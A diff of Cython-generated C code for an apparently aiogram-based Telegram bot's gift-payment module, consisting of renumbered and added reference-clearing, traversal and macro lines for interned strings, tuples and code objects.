-3257,31 +3278,30 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_kp_u__11); Py_CLEAR(clear_module_state->__pyx_kp_u__12); Py_CLEAR(clear_module_state->__pyx_kp_u__13); - Py_CLEAR(clear_module_state->__pyx_kp_u__14); - Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); Py_CLEAR(clear_module_state->__pyx_kp_u__19); Py_CLEAR(clear_module_state->__pyx_kp_u__20); - Py_CLEAR(clear_module_state->__pyx_kp_u__21); Py_CLEAR(clear_module_state->__pyx_kp_u__22); Py_CLEAR(clear_module_state->__pyx_kp_u__24); Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_kp_u__27); Py_CLEAR(clear_module_state->__pyx_kp_u__28); - Py_CLEAR(clear_module_state->__pyx_kp_u__29); Py_CLEAR(clear_module_state->__pyx_kp_u__30); Py_CLEAR(clear_module_state->__pyx_kp_u__32); + Py_CLEAR(clear_module_state->__pyx_kp_u__33); Py_CLEAR(clear_module_state->__pyx_kp_u__34); Py_CLEAR(clear_module_state->__pyx_kp_u__35); - Py_CLEAR(clear_module_state->__pyx_kp_u__36); Py_CLEAR(clear_module_state->__pyx_kp_u__37); - Py_CLEAR(clear_module_state->__pyx_kp_u__39); Py_CLEAR(clear_module_state->__pyx_kp_u__4); - Py_CLEAR(clear_module_state->__pyx_kp_u__43); - Py_CLEAR(clear_module_state->__pyx_n_s__45); - Py_CLEAR(clear_module_state->__pyx_kp_u__46); + Py_CLEAR(clear_module_state->__pyx_kp_u__41); + Py_CLEAR(clear_module_state->__pyx_kp_u__42); + Py_CLEAR(clear_module_state->__pyx_n_s__43); + Py_CLEAR(clear_module_state->__pyx_kp_u__44); Py_CLEAR(clear_module_state->__pyx_n_u__5); Py_CLEAR(clear_module_state->__pyx_n_u__6); - Py_CLEAR(clear_module_state->__pyx_n_s__62); + Py_CLEAR(clear_module_state->__pyx_n_s__60); Py_CLEAR(clear_module_state->__pyx_n_u__7); Py_CLEAR(clear_module_state->__pyx_n_u__8); Py_CLEAR(clear_module_state->__pyx_n_u__9); @@ -3293,6 +3313,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_all_failed); Py_CLEAR(clear_module_state->__pyx_n_s_answer); Py_CLEAR(clear_module_state->__pyx_n_s_args); Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); @@ -3336,6 +3357,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_end); Py_CLEAR(clear_module_state->__pyx_n_s_enter); Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_u_error); Py_CLEAR(clear_module_state->__pyx_kp_u_etc_machine_id); Py_CLEAR(clear_module_state->__pyx_n_s_execute); Py_CLEAR(clear_module_state->__pyx_n_s_exit); @@ -3367,7 +3389,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_kp_u_gifts_jpg); Py_CLEAR(clear_module_state->__pyx_n_s_gifts_page); Py_CLEAR(clear_module_state->__pyx_n_s_gifts_text); - Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons_gifts); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_buttons); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_gift_py); Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); @@ -3378,6 +3400,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_hex); Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); Py_CLEAR(clear_module_state->__pyx_kp_u_https_pocomacho_ru_solonetbot_co); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_solobot_ru_solonetbot_code); Py_CLEAR(clear_module_state->__pyx_n_s_id); Py_CLEAR(clear_module_state->__pyx_n_s_image_path); Py_CLEAR(clear_module_state->__pyx_n_u_img); @@ -3433,6 +3456,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_share_text); Py_CLEAR(clear_module_state->__pyx_n_s_shell); Py_CLEAR(clear_module_state->__pyx_n_s_show_alert); + Py_CLEAR(clear_module_state->__pyx_n_s_sleep); Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); Py_CLEAR(clear_module_state->__pyx_n_s_spec); Py_CLEAR(clear_module_state->__pyx_n_s_split); @@ -3463,11 +3487,13 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_typing); Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_urls); Py_CLEAR(clear_module_state->__pyx_n_s_user_tg_id); Py_CLEAR(clear_module_state->__pyx_n_s_utcnow); Py_CLEAR(clear_module_state->__pyx_n_s_uuid); Py_CLEAR(clear_module_state->__pyx_n_s_uuid4); Py_CLEAR(clear_module_state->__pyx_n_s_validate_client_code); + Py_CLEAR(clear_module_state->__pyx_n_s_warning); Py_CLEAR(clear_module_state->__pyx_kp_u_wmic_cpu_get_ProcessorId); Py_CLEAR(clear_module_state->__pyx_int_0); Py_CLEAR(clear_module_state->__pyx_int_1); @@ -3481,12 +3507,13 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_int_502); Py_CLEAR(clear_module_state->__pyx_codeobj_); Py_CLEAR(clear_module_state->__pyx_tuple__2); - Py_CLEAR(clear_module_state->__pyx_tuple__25); - Py_CLEAR(clear_module_state->__pyx_tuple__33); + Py_CLEAR(clear_module_state->__pyx_tuple__23); + Py_CLEAR(clear_module_state->__pyx_tuple__31); + Py_CLEAR(clear_module_state->__pyx_tuple__36); Py_CLEAR(clear_module_state->__pyx_tuple__38); - Py_CLEAR(clear_module_state->__pyx_tuple__40); - Py_CLEAR(clear_module_state->__pyx_tuple__41); - Py_CLEAR(clear_module_state->__pyx_tuple__44); + Py_CLEAR(clear_module_state->__pyx_tuple__39); + Py_CLEAR(clear_module_state->__pyx_tuple__45); + Py_CLEAR(clear_module_state->__pyx_tuple__46); Py_CLEAR(clear_module_state->__pyx_tuple__47); Py_CLEAR(clear_module_state->__pyx_tuple__48); Py_CLEAR(clear_module_state->__pyx_tuple__49); @@ -3498,17 +3525,15 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_tuple__55); Py_CLEAR(clear_module_state->__pyx_tuple__56); Py_CLEAR(clear_module_state->__pyx_tuple__57); - Py_CLEAR(clear_module_state->__pyx_tuple__58); Py_CLEAR(clear_module_state->__pyx_tuple__59); - Py_CLEAR(clear_module_state->__pyx_tuple__61); Py_CLEAR(clear_module_state->__pyx_codeobj__3); - Py_CLEAR(clear_module_state->__pyx_codeobj__15); - Py_CLEAR(clear_module_state->__pyx_codeobj__18); - Py_CLEAR(clear_module_state->__pyx_codeobj__23); - Py_CLEAR(clear_module_state->__pyx_codeobj__27); - Py_CLEAR(clear_module_state->__pyx_codeobj__31); - Py_CLEAR(clear_module_state->__pyx_codeobj__42); - Py_CLEAR(clear_module_state->__pyx_codeobj__60); + Py_CLEAR(clear_module_state->__pyx_codeobj__14); + Py_CLEAR(clear_module_state->__pyx_codeobj__16); + Py_CLEAR(clear_module_state->__pyx_codeobj__21); + Py_CLEAR(clear_module_state->__pyx_codeobj__25); + Py_CLEAR(clear_module_state->__pyx_codeobj__29); + Py_CLEAR(clear_module_state->__pyx_codeobj__40); + Py_CLEAR(clear_module_state->__pyx_codeobj__58); return 0; } #endif @@ -3562,6 +3587,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); Py_VISIT(traverse_module_state->__pyx_n_s_GIFT); Py_VISIT(traverse_module_state->__pyx_n_s_GIFTS_ABOUT); + Py_VISIT(traverse_module_state->__pyx_n_s_GIFTS_MENU); Py_VISIT(traverse_module_state->__pyx_n_s_GIFTS_PER_PAGE); Py_VISIT(traverse_module_state->__pyx_n_s_GIFTS_TEXT_TEMPLATE); Py_VISIT(traverse_module_state->__pyx_n_s_GIFT_CHOICE); @@ -3572,10 +3598,10 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_InlineQuery); Py_VISIT(traverse_module_state->__pyx_n_s_InlineQueryResultArticle); Py_VISIT(traverse_module_state->__pyx_n_s_InputTextMessageContent); + Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_MENU); Py_VISIT(traverse_module_state->__pyx_n_s_MY_GIFTS); Py_VISIT(traverse_module_state->__pyx_n_s_NO_GIFTS); Py_VISIT(traverse_module_state->__pyx_kp_u_None); - Py_VISIT(traverse_module_state->__pyx_n_s_PROFILE); Py_VISIT(traverse_module_state->__pyx_n_s_PROJECTMANECONGIGURE); Py_VISIT(traverse_module_state->__pyx_n_s_RENEWAL_PRICES); Py_VISIT(traverse_module_state->__pyx_n_s_Router); @@ -3593,31 +3619,30 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_kp_u__11); Py_VISIT(traverse_module_state->__pyx_kp_u__12); Py_VISIT(traverse_module_state->__pyx_kp_u__13); - Py_VISIT(traverse_module_state->__pyx_kp_u__14); - Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); Py_VISIT(traverse_module_state->__pyx_kp_u__19); Py_VISIT(traverse_module_state->__pyx_kp_u__20); - Py_VISIT(traverse_module_state->__pyx_kp_u__21); Py_VISIT(traverse_module_state->__pyx_kp_u__22); Py_VISIT(traverse_module_state->__pyx_kp_u__24); Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_kp_u__27); Py_VISIT(traverse_module_state->__pyx_kp_u__28); - Py_VISIT(traverse_module_state->__pyx_kp_u__29); Py_VISIT(traverse_module_state->__pyx_kp_u__30); Py_VISIT(traverse_module_state->__pyx_kp_u__32); + Py_VISIT(traverse_module_state->__pyx_kp_u__33); Py_VISIT(traverse_module_state->__pyx_kp_u__34); Py_VISIT(traverse_module_state->__pyx_kp_u__35); - Py_VISIT(traverse_module_state->__pyx_kp_u__36); Py_VISIT(traverse_module_state->__pyx_kp_u__37); - Py_VISIT(traverse_module_state->__pyx_kp_u__39); Py_VISIT(traverse_module_state->__pyx_kp_u__4); - Py_VISIT(traverse_module_state->__pyx_kp_u__43); - Py_VISIT(traverse_module_state->__pyx_n_s__45); - Py_VISIT(traverse_module_state->__pyx_kp_u__46); + Py_VISIT(traverse_module_state->__pyx_kp_u__41); + Py_VISIT(traverse_module_state->__pyx_kp_u__42); + Py_VISIT(traverse_module_state->__pyx_n_s__43); + Py_VISIT(traverse_module_state->__pyx_kp_u__44); Py_VISIT(traverse_module_state->__pyx_n_u__5); Py_VISIT(traverse_module_state->__pyx_n_u__6); - Py_VISIT(traverse_module_state->__pyx_n_s__62); + Py_VISIT(traverse_module_state->__pyx_n_s__60); Py_VISIT(traverse_module_state->__pyx_n_u__7); Py_VISIT(traverse_module_state->__pyx_n_u__8); Py_VISIT(traverse_module_state->__pyx_n_u__9); @@ -3629,6 +3654,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_all_failed); Py_VISIT(traverse_module_state->__pyx_n_s_answer); Py_VISIT(traverse_module_state->__pyx_n_s_args); Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); @@ -3672,6 +3698,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_end); Py_VISIT(traverse_module_state->__pyx_n_s_enter); Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_u_error); Py_VISIT(traverse_module_state->__pyx_kp_u_etc_machine_id); Py_VISIT(traverse_module_state->__pyx_n_s_execute); Py_VISIT(traverse_module_state->__pyx_n_s_exit); @@ -3703,7 +3730,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_kp_u_gifts_jpg); Py_VISIT(traverse_module_state->__pyx_n_s_gifts_page); Py_VISIT(traverse_module_state->__pyx_n_s_gifts_text); - Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons_gifts); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_buttons); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_gift_py); Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); @@ -3714,6 +3741,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_hex); Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); Py_VISIT(traverse_module_state->__pyx_kp_u_https_pocomacho_ru_solonetbot_co); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_solobot_ru_solonetbot_code); Py_VISIT(traverse_module_state->__pyx_n_s_id); Py_VISIT(traverse_module_state->__pyx_n_s_image_path); Py_VISIT(traverse_module_state->__pyx_n_u_img); @@ -3769,6 +3797,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_share_text); Py_VISIT(traverse_module_state->__pyx_n_s_shell); Py_VISIT(traverse_module_state->__pyx_n_s_show_alert); + Py_VISIT(traverse_module_state->__pyx_n_s_sleep); Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); Py_VISIT(traverse_module_state->__pyx_n_s_spec); Py_VISIT(traverse_module_state->__pyx_n_s_split); @@ -3799,11 +3828,13 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_typing); Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_urls); Py_VISIT(traverse_module_state->__pyx_n_s_user_tg_id); Py_VISIT(traverse_module_state->__pyx_n_s_utcnow); Py_VISIT(traverse_module_state->__pyx_n_s_uuid); Py_VISIT(traverse_module_state->__pyx_n_s_uuid4); Py_VISIT(traverse_module_state->__pyx_n_s_validate_client_code); + Py_VISIT(traverse_module_state->__pyx_n_s_warning); Py_VISIT(traverse_module_state->__pyx_kp_u_wmic_cpu_get_ProcessorId); Py_VISIT(traverse_module_state->__pyx_int_0); Py_VISIT(traverse_module_state->__pyx_int_1); @@ -3817,12 +3848,13 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_int_502); Py_VISIT(traverse_module_state->__pyx_codeobj_); Py_VISIT(traverse_module_state->__pyx_tuple__2); - Py_VISIT(traverse_module_state->__pyx_tuple__25); - Py_VISIT(traverse_module_state->__pyx_tuple__33); + Py_VISIT(traverse_module_state->__pyx_tuple__23); + Py_VISIT(traverse_module_state->__pyx_tuple__31); + Py_VISIT(traverse_module_state->__pyx_tuple__36); Py_VISIT(traverse_module_state->__pyx_tuple__38); - Py_VISIT(traverse_module_state->__pyx_tuple__40); - Py_VISIT(traverse_module_state->__pyx_tuple__41); - Py_VISIT(traverse_module_state->__pyx_tuple__44); + Py_VISIT(traverse_module_state->__pyx_tuple__39); + Py_VISIT(traverse_module_state->__pyx_tuple__45); + Py_VISIT(traverse_module_state->__pyx_tuple__46); Py_VISIT(traverse_module_state->__pyx_tuple__47); Py_VISIT(traverse_module_state->__pyx_tuple__48); Py_VISIT(traverse_module_state->__pyx_tuple__49); @@ -3834,17 +3866,15 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_tuple__55); Py_VISIT(traverse_module_state->__pyx_tuple__56); Py_VISIT(traverse_module_state->__pyx_tuple__57); - Py_VISIT(traverse_module_state->__pyx_tuple__58); Py_VISIT(traverse_module_state->__pyx_tuple__59); - Py_VISIT(traverse_module_state->__pyx_tuple__61); Py_VISIT(traverse_module_state->__pyx_codeobj__3); - Py_VISIT(traverse_module_state->__pyx_codeobj__15); - Py_VISIT(traverse_module_state->__pyx_codeobj__18); - Py_VISIT(traverse_module_state->__pyx_codeobj__23); - Py_VISIT(traverse_module_state->__pyx_codeobj__27); - Py_VISIT(traverse_module_state->__pyx_codeobj__31); - Py_VISIT(traverse_module_state->__pyx_codeobj__42); - Py_VISIT(traverse_module_state->__pyx_codeobj__60); + Py_VISIT(traverse_module_state->__pyx_codeobj__14); + Py_VISIT(traverse_module_state->__pyx_codeobj__16); + Py_VISIT(traverse_module_state->__pyx_codeobj__21); + Py_VISIT(traverse_module_state->__pyx_codeobj__25); + Py_VISIT(traverse_module_state->__pyx_codeobj__29); + Py_VISIT(traverse_module_state->__pyx_codeobj__40); + Py_VISIT(traverse_module_state->__pyx_codeobj__58); return 0; } #endif @@ -3908,6 +3938,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext #define __pyx_n_s_GIFT __pyx_mstate_global->__pyx_n_s_GIFT #define __pyx_n_s_GIFTS_ABOUT __pyx_mstate_global->__pyx_n_s_GIFTS_ABOUT +#define __pyx_n_s_GIFTS_MENU __pyx_mstate_global->__pyx_n_s_GIFTS_MENU #define __pyx_n_s_GIFTS_PER_PAGE __pyx_mstate_global->__pyx_n_s_GIFTS_PER_PAGE #define __pyx_n_s_GIFTS_TEXT_TEMPLATE __pyx_mstate_global->__pyx_n_s_GIFTS_TEXT_TEMPLATE #define __pyx_n_s_GIFT_CHOICE __pyx_mstate_global->__pyx_n_s_GIFT_CHOICE @@ -3918,10 +3949,10 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_InlineQuery __pyx_mstate_global->__pyx_n_s_InlineQuery #define __pyx_n_s_InlineQueryResultArticle __pyx_mstate_global->__pyx_n_s_InlineQueryResultArticle #define __pyx_n_s_InputTextMessageContent __pyx_mstate_global->__pyx_n_s_InputTextMessageContent +#define __pyx_n_s_MAIN_MENU __pyx_mstate_global->__pyx_n_s_MAIN_MENU #define __pyx_n_s_MY_GIFTS __pyx_mstate_global->__pyx_n_s_MY_GIFTS #define __pyx_n_s_NO_GIFTS __pyx_mstate_global->__pyx_n_s_NO_GIFTS #define __pyx_kp_u_None __pyx_mstate_global->__pyx_kp_u_None -#define __pyx_n_s_PROFILE __pyx_mstate_global->__pyx_n_s_PROFILE #define __pyx_n_s_PROJECTMANECONGIGURE __pyx_mstate_global->__pyx_n_s_PROJECTMANECONGIGURE #define __pyx_n_s_RENEWAL_PRICES __pyx_mstate_global->__pyx_n_s_RENEWAL_PRICES #define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router @@ -3939,31 +3970,30 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 #define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 #define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 -#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 -#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 #define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 #define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 #define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 -#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 #define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 #define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 #define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 #define __pyx_kp_u__28 __pyx_mstate_global->__pyx_kp_u__28 -#define __pyx_kp_u__29 __pyx_mstate_global->__pyx_kp_u__29 #define __pyx_kp_u__30 __pyx_mstate_global->__pyx_kp_u__30 #define __pyx_kp_u__32 __pyx_mstate_global->__pyx_kp_u__32 +#define __pyx_kp_u__33 __pyx_mstate_global->__pyx_kp_u__33 #define __pyx_kp_u__34 __pyx_mstate_global->__pyx_kp_u__34 #define __pyx_kp_u__35 __pyx_mstate_global->__pyx_kp_u__35 -#define __pyx_kp_u__36 __pyx_mstate_global->__pyx_kp_u__36 #define __pyx_kp_u__37 __pyx_mstate_global->__pyx_kp_u__37 -#define __pyx_kp_u__39 __pyx_mstate_global->__pyx_kp_u__39 #define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 -#define __pyx_kp_u__43 __pyx_mstate_global->__pyx_kp_u__43 -#define __pyx_n_s__45 __pyx_mstate_global->__pyx_n_s__45 -#define __pyx_kp_u__46 __pyx_mstate_global->__pyx_kp_u__46 +#define __pyx_kp_u__41 __pyx_mstate_global->__pyx_kp_u__41 +#define __pyx_kp_u__42 __pyx_mstate_global->__pyx_kp_u__42 +#define __pyx_n_s__43 __pyx_mstate_global->__pyx_n_s__43 +#define __pyx_kp_u__44 __pyx_mstate_global->__pyx_kp_u__44 #define __pyx_n_u__5 __pyx_mstate_global->__pyx_n_u__5 #define __pyx_n_u__6 __pyx_mstate_global->__pyx_n_u__6 -#define __pyx_n_s__62 __pyx_mstate_global->__pyx_n_s__62 +#define __pyx_n_s__60 __pyx_mstate_global->__pyx_n_s__60 #define __pyx_n_u__7 __pyx_mstate_global->__pyx_n_u__7 #define __pyx_n_u__8 __pyx_mstate_global->__pyx_n_u__8 #define __pyx_n_u__9 __pyx_mstate_global->__pyx_n_u__9 @@ -3975,6 +4005,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types #define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard #define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_all_failed __pyx_mstate_global->__pyx_n_s_all_failed #define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer #define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args #define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup @@ -4018,6 +4049,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_end __pyx_mstate_global->__pyx_n_s_end #define __pyx_n_s_enter __pyx_mstate_global->__pyx_n_s_enter #define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_u_error __pyx_mstate_global->__pyx_n_u_error #define __pyx_kp_u_etc_machine_id __pyx_mstate_global->__pyx_kp_u_etc_machine_id #define __pyx_n_s_execute __pyx_mstate_global->__pyx_n_s_execute #define __pyx_n_s_exit __pyx_mstate_global->__pyx_n_s_exit @@ -4049,7 +4081,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_kp_u_gifts_jpg __pyx_mstate_global->__pyx_kp_u_gifts_jpg #define __pyx_n_s_gifts_page __pyx_mstate_global->__pyx_n_s_gifts_page #define __pyx_n_s_gifts_text __pyx_mstate_global->__pyx_n_s_gifts_text -#define __pyx_n_s_handlers_buttons_gifts __pyx_mstate_global->__pyx_n_s_handlers_buttons_gifts +#define __pyx_n_s_handlers_buttons __pyx_mstate_global->__pyx_n_s_handlers_buttons #define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift #define __pyx_kp_s_handlers_payments_gift_py __pyx_mstate_global->__pyx_kp_s_handlers_payments_gift_py #define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts @@ -4060,6 +4092,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_hex __pyx_mstate_global->__pyx_n_s_hex #define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest #define __pyx_kp_u_https_pocomacho_ru_solonetbot_co __pyx_mstate_global->__pyx_kp_u_https_pocomacho_ru_solonetbot_co +#define __pyx_kp_u_https_solobot_ru_solonetbot_code __pyx_mstate_global->__pyx_kp_u_https_solobot_ru_solonetbot_code #define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id #define __pyx_n_s_image_path __pyx_mstate_global->__pyx_n_s_image_path #define __pyx_n_u_img __pyx_mstate_global->__pyx_n_u_img @@ -4115,6 +4148,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_share_text __pyx_mstate_global->__pyx_n_s_share_text #define __pyx_n_s_shell __pyx_mstate_global->__pyx_n_s_shell #define __pyx_n_s_show_alert __pyx_mstate_global->__pyx_n_s_show_alert +#define __pyx_n_s_sleep __pyx_mstate_global->__pyx_n_s_sleep #define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup #define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec #define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split @@ -4145,11 +4179,13 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing #define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance #define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_urls __pyx_mstate_global->__pyx_n_s_urls #define __pyx_n_s_user_tg_id __pyx_mstate_global->__pyx_n_s_user_tg_id #define __pyx_n_s_utcnow __pyx_mstate_global->__pyx_n_s_utcnow #define __pyx_n_s_uuid __pyx_mstate_global->__pyx_n_s_uuid #define __pyx_n_s_uuid4 __pyx_mstate_global->__pyx_n_s_uuid4 #define __pyx_n_s_validate_client_code __pyx_mstate_global->__pyx_n_s_validate_client_code +#define __pyx_n_s_warning __pyx_mstate_global->__pyx_n_s_warning #define __pyx_kp_u_wmic_cpu_get_ProcessorId __pyx_mstate_global->__pyx_kp_u_wmic_cpu_get_ProcessorId #define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 #define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 @@ -4163,12 +4199,13 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_int_502 __pyx_mstate_global->__pyx_int_502 #define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ #define __pyx_tuple__2 __pyx_mstate_global->__pyx_tuple__2 -#define __pyx_tuple__25 __pyx_mstate_global->__pyx_tuple__25 -#define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 +#define __pyx_tuple__23 __pyx_mstate_global->__pyx_tuple__23 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 +#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 #define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 -#define __pyx_tuple__40 __pyx_mstate_global->__pyx_tuple__40 -#define __pyx_tuple__41 __pyx_mstate_global->__pyx_tuple__41 -#define __pyx_tuple__44 __pyx_mstate_global->__pyx_tuple__44 +#define __pyx_tuple__39 __pyx_mstate_global->__pyx_tuple__39 +#define __pyx_tuple__45 __pyx_mstate_global->__pyx_tuple__45 +#define __pyx_tuple__46 __pyx_mstate_global->__pyx_tuple__46 #define __pyx_tuple__47 __pyx_mstate_global->__pyx_tuple__47 #define __pyx_tuple__48 __pyx_mstate_global->__pyx_tuple__48 #define __pyx_tuple__49 __pyx_mstate_global->__pyx_tuple__49 @@ -4180,17 +4217,15 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_tuple__55 __pyx_mstate_global->__pyx_tuple__55 #define __pyx_tuple__56 __pyx_mstate_global->__pyx_tuple__56 #define __pyx_tuple__57 __pyx_mstate_global->__pyx_tuple__57 -#define __pyx_tuple__58 __pyx_mstate_global->__pyx_tuple__58 #define __pyx_tuple__59 __pyx_mstate_global->__pyx_tuple__59 -#define __pyx_tuple__61 __pyx_mstate_global->__pyx_tuple__61 #define __pyx_codeobj__3 __pyx_mstate_global->__pyx_codeobj__3 -#define __pyx_codeobj__15 __pyx_mstate_global->__pyx_codeobj__15 -#define __pyx_codeobj__18 __pyx_mstate_global->__pyx_codeobj__18 -#define __pyx_codeobj__23 __pyx_mstate_global->__pyx_codeobj__23 -#define __pyx_codeobj__27 __pyx_mstate_global->__pyx_codeobj__27 -#define __pyx_codeobj__31 